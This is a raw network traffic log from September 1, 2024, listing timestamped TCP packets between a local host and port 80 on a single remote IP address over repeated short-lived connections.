Sep 1, 2024 23:59:28.565234900 CEST	80	49908	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.717222929 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.717241049 CEST	49908	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.722080946 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.722163916 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.722300053 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.722683907 CEST	80	49908	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.722970963 CEST	49908	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.727113962 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.839492083 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.844238997 CEST	80	49910	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:28.847575903 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.847670078 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:28.852406979 CEST	80	49910	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.076160908 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.081048965 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.081135035 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.203495026 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.208843946 CEST	80	49910	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.293418884 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.416173935 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.416464090 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.447487116 CEST	80	49910	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.578326941 CEST	80	49910	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.581146002 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.737968922 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.738073111 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.738342047 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.743237019 CEST	80	49909	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.743247032 CEST	80	49911	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.743283987 CEST	49909	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.743323088 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.743433952 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.743591070 CEST	80	49910	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:29.743627071 CEST	49910	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:29.748143911 CEST	80	49911	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:30.091645956 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:30.096515894 CEST	80	49911	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:30.315438986 CEST	80	49911	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:30.435298920 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:30.640717030 CEST	80	49911	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:30.640827894 CEST	80	49911	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:30.640899897 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:30.758503914 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:30.763345003 CEST	80	49912	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:30.763571024 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:30.763712883 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:30.768522978 CEST	80	49912	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.122855902 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.127685070 CEST	80	49912	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.338805914 CEST	80	49912	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.460875988 CEST	80	49912	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.461302996 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.585731983 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.585733891 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.593521118 CEST	80	49913	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.593658924 CEST	80	49912	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.593688011 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.593722105 CEST	49912	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.593803883 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.600497961 CEST	80	49913	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:31.951189995 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:31.956080914 CEST	80	49913	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:32.199290991 CEST	80	49913	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:32.325925112 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.330275059 CEST	80	49913	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:32.435287952 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.446147919 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.446425915 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.446428061 CEST	49911	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.451224089 CEST	80	49914	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:32.451297998 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.451374054 CEST	80	49913	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:32.451379061 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.451423883 CEST	49913	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.456129074 CEST	80	49914	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:32.810489893 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:32.815385103 CEST	80	49914	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.022911072 CEST	80	49914	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.148694038 CEST	80	49914	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.151577950 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.274064064 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.274415970 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.279187918 CEST	80	49914	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.279254913 CEST	80	49915	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.279391050 CEST	49914	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.279407024 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.279705048 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.284435034 CEST	80	49915	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.638510942 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:33.643323898 CEST	80	49915	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.859834909 CEST	80	49915	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.990345001 CEST	80	49915	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:33.990394115 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.105535984 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.105722904 CEST	49916	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.110575914 CEST	80	49916	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.110627890 CEST	49916	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.110733032 CEST	49916	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.110800982 CEST	80	49915	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.110843897 CEST	49915	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.115484953 CEST	80	49916	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.436012983 CEST	49916	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.436309099 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.558372974 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.637490988 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.637505054 CEST	80	49918	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.637514114 CEST	80	49916	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.637583017 CEST	49916	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.637588024 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.637588024 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.637687922 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.637723923 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.642443895 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.642620087 CEST	80	49918	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.985940933 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.985941887 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:34.990850925 CEST	80	49918	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.990869999 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:34.990962982 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.208782911 CEST	80	49918	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.219602108 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.263426065 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.325962067 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.332804918 CEST	80	49918	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.346435070 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.405575991 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.437576056 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.446526051 CEST	49919	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.446536064 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.446536064 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.451443911 CEST	80	49919	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.451653957 CEST	80	49918	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.451989889 CEST	80	49917	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.453607082 CEST	49918	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.453607082 CEST	49917	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.453607082 CEST	49919	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.457525969 CEST	49919	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.462280035 CEST	80	49919	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:35.810343981 CEST	49919	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:35.815304041 CEST	80	49919	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.139486074 CEST	80	49919	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.161304951 CEST	80	49919	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.161375046 CEST	49919	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:36.280612946 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:36.285979033 CEST	80	49920	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.286056042 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:36.286180019 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:36.291311979 CEST	80	49920	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.638487101 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:36.643393993 CEST	80	49920	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.867474079 CEST	80	49920	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.994364977 CEST	80	49920	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:36.994460106 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.117017031 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.117237091 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.122117996 CEST	80	49921	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.122198105 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.122251987 CEST	80	49920	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.122282982 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.122354984 CEST	49920	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.127070904 CEST	80	49921	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.469650030 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.474524975 CEST	80	49921	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.696367025 CEST	80	49921	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.747787952 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.820635080 CEST	80	49921	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.872783899 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.948483944 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.948657036 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.953438997 CEST	80	49922	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.953501940 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.953627110 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.953681946 CEST	80	49921	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:37.953722954 CEST	49921	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:37.958383083 CEST	80	49922	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:38.310390949 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.338219881 CEST	80	49922	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:38.529970884 CEST	80	49922	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:38.653403044 CEST	80	49922	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:38.653445005 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.773355961 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.773361921 CEST	49919	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.773560047 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.778403997 CEST	80	49923	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:38.778790951 CEST	80	49922	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:38.781575918 CEST	49922	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.781582117 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.781729937 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:38.786812067 CEST	80	49923	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:39.138484955 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.143485069 CEST	80	49923	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:39.382987976 CEST	80	49923	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:39.435308933 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.514266968 CEST	80	49923	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:39.563519001 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.633966923 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.635513067 CEST	49924	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.792623043 CEST	80	49924	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:39.792681932 CEST	49924	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.792835951 CEST	49924	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.793127060 CEST	80	49923	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:39.793195009 CEST	49923	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:39.797636986 CEST	80	49924	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.138561010 CEST	49924	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.143522978 CEST	80	49924	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.358154058 CEST	49924	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.358165979 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.363020897 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.363078117 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.363185883 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.363250971 CEST	80	49924	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.363301039 CEST	49924	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.367933035 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.486323118 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.491159916 CEST	80	49926	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.491214991 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.491379976 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.496174097 CEST	80	49926	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.716761112 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.721590042 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.721766949 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.845724106 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:40.850728035 CEST	80	49926	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:40.943254948 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.029660940 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.070719957 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.096240997 CEST	80	49926	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.145715952 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.226669073 CEST	80	49926	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.233589888 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.279042959 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.383944988 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.383959055 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.383959055 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.392081976 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.392404079 CEST	80	49925	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.392865896 CEST	80	49926	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.393079042 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.393095016 CEST	49925	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.393095016 CEST	49926	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.393223047 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.398066998 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:41.747930050 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:41.752770901 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.161911964 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.162352085 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.162446976 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.162635088 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.162679911 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.279654026 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.279958010 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.286727905 CEST	80	49927	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.286777020 CEST	49927	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.286959887 CEST	80	49928	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.287019968 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.287121058 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.294147015 CEST	80	49928	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.638489962 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.643359900 CEST	80	49928	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.869410038 CEST	80	49928	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:42.921621084 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:42.998609066 CEST	80	49928	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.044682980 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.119575024 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.119575977 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.124463081 CEST	80	49929	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.124550104 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.124672890 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.125025988 CEST	80	49928	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.125185013 CEST	49928	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.129476070 CEST	80	49929	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.483274937 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:43.488085032 CEST	80	49929	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.716984034 CEST	80	49929	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.848578930 CEST	80	49929	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:43.848648071 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.070522070 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.070888042 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.075701952 CEST	80	49929	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.075748920 CEST	80	49930	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.075800896 CEST	49929	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.075824022 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.081631899 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.086462975 CEST	80	49930	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.435394049 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.440324068 CEST	80	49930	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.661699057 CEST	80	49930	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.792265892 CEST	80	49930	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.792351961 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.915185928 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.915541887 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.920419931 CEST	80	49930	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.920432091 CEST	80	49931	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:44.920523882 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.920527935 CEST	49930	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.920618057 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:44.925358057 CEST	80	49931	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:45.281707048 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.286585093 CEST	80	49931	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:45.521900892 CEST	80	49931	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:45.641596079 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.650491953 CEST	80	49931	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:45.776324987 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.776603937 CEST	49932	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.781452894 CEST	80	49932	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:45.781464100 CEST	80	49931	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:45.781528950 CEST	49932	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.781548977 CEST	49931	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.781615019 CEST	49932	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:45.786365986 CEST	80	49932	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.076462984 CEST	49932	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.076682091 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.082083941 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.082155943 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.082273006 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.087022066 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.122332096 CEST	80	49932	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.194487095 CEST	80	49932	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.194559097 CEST	49932	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.200413942 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.205190897 CEST	80	49934	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.205279112 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.205517054 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.210395098 CEST	80	49934	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.435422897 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.440319061 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.440498114 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.562556982 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:46.567364931 CEST	80	49934	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.682503939 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.780051947 CEST	80	49934	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.813788891 CEST	49933	80	192.168.2.5	94.158.244.70
